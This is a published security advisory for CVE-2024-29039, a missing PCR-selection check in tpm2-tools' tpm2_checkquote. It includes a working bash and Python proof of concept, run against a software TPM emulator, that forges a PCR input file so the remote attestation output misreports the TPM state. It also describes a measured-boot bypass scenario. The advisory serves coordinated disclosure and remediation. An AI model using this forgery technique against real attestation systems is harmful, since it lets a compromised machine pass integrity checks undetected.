Skip to content

Missing check in tpm2_checkquote allows attackers to misrepresent the TPM state

Critical
AndreasFuchsTPM published GHSA-8rjm-5f5f-h4q6 Jun 25, 2024

Package

tpm2_checkquote

Affected versions

<=5.6

Patched versions

>= 5.5.1 >=5.6.1 >=5.7

Description

Vulnerability Report

Summary

This vulnerability allows attackers to manipulate tpm2_checkquote outputs by altering the TPML_PCR_SELECTION in the PCR input file. As a result, digest values are incorrectly mapped to PCR slots and banks, providing a misleading picture of the TPM state.

The vulnerability is relatively easy to exploit but is less catastrophic than GHSA-4xvm-4rqh-r79g. I would still consider it a critical vulnerability since it results in a confusion regarding the TPM state of the attested system.

Product

tpm2_checkquote

Impacted Version

Vulnerability was confirmed on 5.4
It likely impacts all versions of the tool

Details

Background

A TPM2 quote contains attested data, its integrity comes from the signature produced by the TPM. The attested data is in the following format (TPMS_QUOTE_INFO struct) :

Parameter Type Description
pcrSelect TPML_PCR_SELECTION information on algID, PCR selected and digest
pcrDigest TPM2B_DIGEST digest of the selected PCR using the hash of the signing key

Per Trusted Platform Module Library Specification, Family “2.0”, Level 00, Revision 01.59 – November 2019. Part 2: Structures.

The PCR input file must be treated as untrusted data (its content is not signed). It is a hint to interpret the quote. This file is needed to provide the PCR values which are not included in the quote (only a composite digest is included in the quote).
It has the following format:

  • pcrSelect TPML_PCR_SELECTION
  • count UINT32 (number of digests that follows)
  • digests ARRAY OF TPML_DIGEST

Since the PCR input file is untrusted data, it should be validated. Unfortunately the checkquote tool stops halfway.

The tool indeed check that the pcrDigest from the quote (in the TPMS_QUOTE_INFO) matches the digest of the concatenation of all relevant PCRs from the PCR input file. However it does not check that the PCR selection of the PCR input file matches with the one included in the quote. Because of that an attacker can craft PCR input files with any TPML_PCR_SELECTION he wants, as long as the concatenation of the digests that results still matches the pcrDigest in the quote.

Thus an attacker can swap a compatible selection for another, which result in TPM register values being associated with the wrong PCR index or bank.

Take for example the case where a quote is generated to attest to the PCR selection sha256:0,1,2. An attacker can craft a PCR input file which, upon being checked with tpm2_checkquote, passes verification. The output will falsely indicate that the selection sha256:7,8,9 contains the digests BANK[SHA256].PCR[0], BANK[SHA256].PCR[1], and BANK[SHA256].PCR[2].

This vulnerability also extends to the reinterpretation of data across PCR banks (and their corresponding hashing algorithms), provided the total lengths are the same. As a result, the digests may be incorrectly associated not just with the wrong PCR index but also with inaccurate values due to the reinterpretation (casting) of bytes from a different bank, where the digest sizes may vary. For example, 8 digests from a SHA1 bank could be misrepresented as 5 digests from a SHA256 bank, as both selections encompass a total of 160 bytes.

Proof of Concept

Requirements

The following PoC has been tested on a Debian 12 (bookworm), but any debian-based OS (Ubuntu) should work with no modification.

Install the required dependencies with :

sudo apt-get install -y tpm2-tools swtpm-tools xxd python3

The PoC

The PoC is provided as a bash script

#!/bin/bash

set -euo pipefail

## Step 1 : Create and initialize a TPM emulator

# Kill previously launched tpm emulator if needed

killall swtpm 2>/dev/null || true

# Create a temporary folder
rm -rf /tmp/tpmstate
mkdir /tmp/tpmstate

sudo swtpm_setup \
    --tpm2 \
    --tpmstate /tmp/tpmstate \
    --create-ek-cert \
    --create-platform-cert \
    --pcr-banks sha1,sha256 \
    > /dev/null


# Might not be needed if you're running as root
sudo chown --recursive "$(whoami)" /tmp/tpmstate

swtpm socket \
    --tpm2 \
    --tpmstate dir=/tmp/tpmstate \
    --ctrl type=tcp,port=2322 \
    --server type=tcp,port=2321 \
    --flags not-need-init \
    -d

# Instruct tpm2's tools to use the simulator and not your HW TPM 
export TPM2TOOLS_TCTI="swtpm:port=2321"
tpm2 startup -c

tpm2 createek -G rsa -c ek.handle -u ek.pub
tpm2 createak -C ek.handle -c ak.ctx -u ak.pub -n ak.name -G rsa -g sha256 -f pem

echo "TPM emulator set up" 

# Initially PCR[0], PCR[1]... PCR[3], PCR[7]...PCR[9] are set to 00s
# in order to demonstrate the vulnerability we measure
# different events in each PCR, so that the PCR values differs.
echo "pcr0" > pcr0.data 
echo "pcr1" > pcr1.data
echo "pcr2" > pcr2.data
tpm2_pcrevent 0 pcr0.data >/dev/null
tpm2_pcrevent 1 pcr1.data >/dev/null
tpm2_pcrevent 2 pcr2.data >/dev/null

echo "Ground truth of the TPM state (tpm2_pcrread)"

tpm2_pcrread sha256:0,1,2,7,8,9 --pcrs_format serialized

## Step 2 : Generate a quote that attest to the PCR selection sha256:0,1,2 
# (simulate the trustworthy server)
tpm2 flushcontext -t
tpm2_quote -Q -c ak.ctx \
    -l sha256:0,1,2 \
    --message msg.dat \
    --signature sign.dat \
    --pcr pcr.dat
echo "Quote generated with selection sha256:0,1,2"

## Step 3 : Replace the TPML_PCR_SELECTION structure of pcr.dat
# with a pcr selection of our choosing. Here we chose to replace the
# quote PCR selection (sha256:0,1,2) with sha256:7,8,9

# For simplicity, we use tpm2_pcrread to generate a TPML_PCR_SELECTION
# Note that this step can be run on any machine (or simulated TPM)
# The digests of tmppcr.dat will be unused.
tpm2_pcrread sha256:7,8,9 --pcrs_format serialized -o tmppcr.dat \
    > /dev/null

# The PCR input file starts with a TPML_PCR_SELECTION followed by the digests.
# The TPML_PCR_SELECTION structure size is 132 bytes.
# We take the TPML_PCR_SELECTION of tmppcr.dat 
# and the digests of refpcr.dat to build bad.pcr.dat
python3 - <<EOF
from pathlib import Path

ref_pcr = Path("pcr.dat").read_bytes()
tmp_pcr = Path("tmppcr.dat").read_bytes()
forgery = bytearray(ref_pcr)
forgery[0:132]=tmp_pcr[0:132]
Path("bad.pcr.dat").write_bytes(forgery)
EOF

echo "Replaced the PCR selection with sha256:7,8,9"

## Step 4 : We run tpm2_checkquote and observe what happens

echo "tpm2 checkquote output : "
tpm2_checkquote \
    --public ak.pub \
    --message msg.dat \
    --signature sign.dat \
    --pcr bad.pcr.dat

echo "tpm2_checkquote exit code: $?"

tpm2 --version

Expected output :

loaded-key:
  name: 000bbb9145e0a6d44470d0ac729620189a880d8d0553ffbfb4d9ff0f70d91c36c5b6
  qualified name: 000b5ed336bf6c94bf9513d754225ca3c73853a29ee715b186b9df48093cf15bf4bb
TPM emulator set up
Ground truth of the TPM state (tpm2_pcrread)
  sha256:
    0 : 0x625F4E4BB00C6DF5797C9C76B4F16138997B81D6E49FD0A8D2079833F8817C0A
    1 : 0xA31DBD617EDB97FEECBD149E60548BEE0C80532CBECF64B01368ADB2E890E3F7
    2 : 0x56B9BDFA2696F745D6E605649EAA31577A896CD10F1267EFCA659FFACDEFCFEA
    7 : 0x0000000000000000000000000000000000000000000000000000000000000000
    8 : 0x0000000000000000000000000000000000000000000000000000000000000000
    9 : 0x0000000000000000000000000000000000000000000000000000000000000000
Quote generated with selection sha256:0,1,2
Replaced the PCR selection with sha256:7,8,9
tpm2 checkquote output : 
pcrs:
  sha256:
    7 : 0x625F4E4BB00C6DF5797C9C76B4F16138997B81D6E49FD0A8D2079833F8817C0A
    8 : 0xA31DBD617EDB97FEECBD149E60548BEE0C80532CBECF64B01368ADB2E890E3F7
    9 : 0x56B9BDFA2696F745D6E605649EAA31577A896CD10F1267EFCA659FFACDEFCFEA
sig: d901a70f2837b7f5a280dda252aadbc7ab6ee253dea85e5149723800af51a244ec41c4c8b61a3950f4cb2932439b6a768953ddea8907fd870ee4131b1276ec30ffc018eef34bae02e0192d047523a8332660fabe7f4d7acec71921af46dbc4607ccc96d0528b735a9cc91ffa11cd5ba802c6d6775b8f778538837e8269814f313ba688f9ff554649fb941c8cfef94cfe76e07e7bfa04d1759ce4fb56cc367b8503439fc5914c0c6e18125339e6afed86f2f90407e3d34ca0db0464784b1b95251eabac09ff7d9cacb783bcc3f09424b739268f791b8374f98b6557cf959623b2c20ff201da1cce3f4f932f5a3e3825e4d33fd9d552e0fa5b09af7fa230b90986
tpm2_checkquote exit code: 0
tool="tpm2" version="5.4" tctis="libtss2-tctildr" tcti-default=tcti-device

Impact

Any user relying on tpm2-tools checkquote utility is likely impacted by this vulnerability. Since the role of the quote is to attest to the current state of the TPM, having a wrong view of the TPM state is very risky.

Each PCR slot is used for a specific purpose. For instance on Linux PCR[0] will measure the "Core system firmware executable code", while PCR[4] will measure "Boot loader and additional drivers; binaries and extensions loaded by the boot loader". And while at first glance, it might seem that altering the mapping will result in an invalid TPM state that would be rejected by the verifier (because it does not match with the expected PCR values). This vulnerability can actually compromise most use of remote attestation. Below I give an example for how the security of measured boot could be circumvented by an attacker exploiting this vulnerability.

Measured boot

In a measured boot setting the verifier wants to make sure the system booted on the right OS. Conversely, the goal of the attacker is to boot on a compromised OS while still passing all the verifier checks.

Let's say that some PCR are checked against golden values by the verifier. For instance let's say that they are checking against:
Golden TPM state:

PCR index Digest
0 golden_pcr[0]
1 golden_pcr[1]
2 golden_pcr[2]
3 golden_pcr[3]
4 golden_pcr[4]

The attacker boots on a the wrong Portable Executable image (in practice this will be the image of an OS he can control).

At that time, the victim device TPM state is as follows:

PCR index Digest
0 golden_pcr[0]
1 golden_pcr[1]
2 golden_pcr[2]
3 golden_pcr[3]
4 bad digest
...
15 00s

Currently the TPM state have good values for PCR[0]... PCR[3], but a bad digest in PCR[4]. So the verifier will detect that the system has been tampered with.
The attacker wants to avoid that, so he finds a PCR index whose value is still in its initial state (sequence of 00s). Let's say he uses PCR[15]. Then he "simulates" the TPM_Extend operation that the boot process would have normally produced when measuring the good Portable Executable but he extends PCR[15] instead of PCR[4].

Now, the victim device TPM state is as follows:

PCR index Digest
0 golden_pcr[0]
1 golden_pcr[1]
2 golden_pcr[2]
3 golden_pcr[3]
4 bad digest
...
15 golden_pcr[4]

Finally the attacker request a quote for pcr slots 0,1,2,3,15 and uses the present vulnerability to present it as a quote that attest to pcr slots 0,1,2,3,4, and the golden digests. The verifier which uses tpm2_checkquote will accept the quote as it seems it matches the golden measurements.

Mitigating circumstance

The vulnerability impact might be partially mitigated by the fact that the attacker will likely need to be able to replace the value of PCR with another (ability to use TPM_Extend). So this attack requires some kind of local or privileged access on the targeted system.

Remediation

The tpm2_checkquote.c file needs to be corrected to ensure that the TPML_PCR_SELECTION in the quote is identitical to the TPML_PCR_SELECTION from the PCR input file.

Contact

Corentin Lauverjat ([email protected]) from Mithril Security

Disclosure Policy

Our security team firmly believes in the value of full disclosure to ensure transparency and prompt remediation of vulnerabilities. This is because we design systems in which we are ourselves part of the threat model. However, we understand the industry's preference for coordinated disclosure.

If the project team responds and agrees the issue poses a security risk, we will work with the project security team or maintainers to communicate the vulnerability in detail, and agree on the process for public disclosure. Responsibility for developing and releasing a patch lies firmly with the project team, though we aim to facilitate this by providing detailed information about the vulnerability.

Our disclosure deadline for publicly disclosing a vulnerability is: 60 days after the first report to the project team.

We appreciate the work maintainers put into fixing vulnerabilities and understand that sometimes more time is required to properly address an issue. We want project maintainers to succeed and because of that we are always open to discuss our disclosure policy to fit your specific requirements, when warranted.

Severity

Critical

CVE ID

CVE-2024-29039

Weaknesses

Credits